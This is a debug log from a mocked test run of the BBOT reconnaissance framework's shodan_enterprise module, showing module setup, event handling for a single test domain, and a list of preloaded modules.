-2026-02-27 19:01:01,985 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 19:01:01,985 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 19:01:01,985 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 19:01:01,985 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 19:01:01,985 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 19:01:01,985 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 19:01:01,986 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 19:01:01,986 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 19:01:01,986 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 19:01:01,986 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 19:01:01,987 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 19:01:01,987 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 19:01:01,987 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 19:01:01,987 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 19:01:01,987 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 19:01:01,988 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 19:01:01,988 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 19:01:01,988 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 19:01:01,988 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 19:01:01,992 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 19:01:02,148 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_otzv7188km -2026-02-27 19:01:02,148 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 19:01:02,260 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 19:01:02,260 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 19:01:02,260 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 19:01:02,262 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) -2026-02-27 19:01:02,362 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) passed post-check -2026-02-27 19:01:02,363 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) -2026-02-27 19:01:02,364 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) in-scope because its main host matches the scan target -2026-02-27 19:01:02,365 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) -2026-02-27 19:01:02,366 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:29427bde78664330f67b0624655099181bccb023', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:01:02,367 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:29427bde78664330f67b0624655099181bccb023', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:01:02,368 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) passed post-check -2026-02-27 19:01:02,369 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) -2026-02-27 19:01:02,370 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:29427bde78664330f67b0624655099181bccb023', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:01:02,372 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:29427bde78664330f67b0624655099181bccb023', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 19:01:02,373 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:29427bde78664330f67b0624655099181bccb023', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:01:02,374 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:29427bde78664330f67b0624655099181bccb023', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:01:02,375 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:29427bde78664330f67b0624655099181bccb023', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:01:02,376 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:29427bde78664330f67b0624655099181bccb023', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:01:02,377 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:29427bde78664330f67b0624655099181bccb023', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 19:01:02,378 [VERBOSE] bbot.core.helpers.dns.mock mock.py:69 Answers for blacklanternsecurity.com:A: ['1.2.3.4'] -2026-02-27 19:01:02,387 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config -2026-02-27 19:01:02,388 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope', 'a-record'}) -2026-02-27 19:01:02,389 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope', 'a-record'}) passed post-check -2026-02-27 19:01:02,389 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope', 'a-record'}) -2026-02-27 19:01:02,389 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope', 'a-record'}) -2026-02-27 19:01:02,390 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope', 'a-record'}) because precheck succeeded -2026-02-27 19:01:02,463 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:29427bde78664330f67b0624655099181bccb023', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 19:01:02,464 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:29427bde78664330f67b0624655099181bccb023', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:01:02,464 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope', 'a-record'}) from TARGET -2026-02-27 19:01:02,464 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope', 'a-record'}) passed post-check -2026-02-27 19:01:02,465 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 19:01:02,465 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 19:01:02,466 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 19:01:02,466 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 19:01:02,467 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 19:01:02,468 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 19:01:02,468 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 19:01:02,469 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 19:01:02,569 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 19:01:02,570 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 19:01:02,587 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 19:01:02,588 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 19:01:02,588 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 19:01:02,601 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 19:01:02,601 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 19:01:02,602 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 19:01:02,603 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 19:01:02,603 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 19:01:02,604 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 19:01:02,716 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_otzv7188km completed in 0 seconds with status FINISHED -2026-02-27 19:01:02,717 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 19:01:02,718 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:01:02,719 [CRITICAL] bbot test_module_shodan_enterprise.py:32 blacklanternsecurity.com -2026-02-27 19:05:50,568 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 19:05:50,577 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 19:05:50,578 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 19:05:50,579 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 19:05:50,579 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 19:05:50,580 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 19:05:50,581 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 19:05:50,582 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 19:05:50,583 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 19:05:50,583 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 19:05:50,584 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 19:05:50,584 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 19:05:50,585 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 19:05:50,585 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 19:05:50,586 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 19:05:50,586 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 19:05:50,587 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 19:05:50,588 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 19:05:50,589 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 19:05:50,590 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 19:05:50,593 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 19:05:50,593 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 19:05:50,595 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 19:05:50,595 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 19:05:50,596 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 19:05:50,597 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 19:05:50,598 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 19:05:50,599 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 19:05:50,599 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 19:05:50,599 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 19:05:50,600 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 19:05:50,601 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 19:05:50,602 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 19:05:50,603 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 19:05:50,604 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 19:05:50,604 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 19:05:50,605 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 19:05:50,605 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 19:05:50,606 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 19:05:50,607 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 19:05:50,607 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 19:05:50,608 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 19:05:50,608 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 19:05:50,609 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 19:05:50,613 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 19:05:50,614 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 19:05:50,614 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 19:05:50,615 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 19:05:50,616 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 19:05:50,616 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 19:05:50,617 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 19:05:50,618 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 19:05:50,619 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 19:05:50,619 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 19:05:50,620 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 19:05:50,621 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 19:05:50,621 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 19:05:50,622 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 19:05:50,623 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 19:05:50,623 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 19:05:50,624 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 19:05:50,624 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 19:05:50,625 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 19:05:50,625 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 19:05:50,626 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 19:05:50,626 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 19:05:50,627 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 19:05:50,628 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 19:05:50,628 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 19:05:50,629 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 19:05:50,634 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 19:05:50,635 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 19:05:50,636 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 19:05:50,637 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 19:05:50,638 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 19:05:50,639 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 19:05:50,639 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 19:05:50,640 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 19:05:50,641 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 19:05:50,641 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 19:05:50,642 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 19:05:50,643 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 19:05:50,644 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 19:05:50,645 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 19:05:50,645 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 19:05:50,646 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 19:05:50,646 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 19:05:50,647 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 19:05:50,648 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 19:05:50,648 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 19:05:50,649 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 19:05:50,649 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 19:05:50,650 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 19:05:50,650 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 19:05:50,651 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 19:05:50,652 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 19:05:50,652 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 19:05:50,654 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 19:05:50,654 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 19:05:50,655 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 19:05:50,656 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 19:05:50,656 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 19:05:50,657 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 19:05:50,657 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 19:05:50,658 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 19:05:50,658 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 19:05:50,659 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 19:05:50,659 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 19:05:50,660 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 19:05:50,660 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 19:05:50,661 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 19:05:50,662 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 19:05:50,662 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 19:05:50,663 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 19:05:50,663 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 19:05:50,664 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 19:05:50,665 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 19:05:50,665 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 19:05:50,666 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 19:05:50,666 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 19:05:50,667 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 19:05:50,667 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 19:05:50,668 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 19:05:50,669 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 19:05:50,669 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 19:05:50,670 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 19:05:50,671 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 19:05:50,671 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 19:05:50,672 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 19:05:50,672 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 19:05:50,673 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 19:05:50,673 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 19:05:50,674 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 19:05:50,675 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 19:05:50,675 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 19:05:50,676 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 19:05:50,677 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 19:05:50,677 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 19:05:50,678 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 19:05:50,678 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 19:05:50,679 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 19:05:50,680 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 19:05:50,680 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 19:05:50,681 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 19:05:50,682 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 19:05:50,682 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 19:05:50,683 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 19:05:50,684 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 19:05:50,684 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 19:05:50,685 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 19:05:50,685 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 19:05:50,686 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 19:05:50,687 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 19:05:50,688 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 19:05:50,689 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 19:05:50,689 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 19:05:50,690 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 19:05:50,691 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 19:05:50,691 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 19:05:50,692 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 19:05:50,693 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 19:05:50,694 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 19:05:50,694 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 19:05:50,695 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 19:05:50,696 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 19:05:50,696 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 19:05:50,697 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 19:05:50,698 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 19:05:50,699 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 19:05:50,699 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 19:05:51,783 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:05:51,783 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:05:51,784 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 19:05:51,926 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 19:05:52,489 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 19:05:52,490 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 19:05:52,490 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 19:05:52,490 [DEBUG] bbot.presets 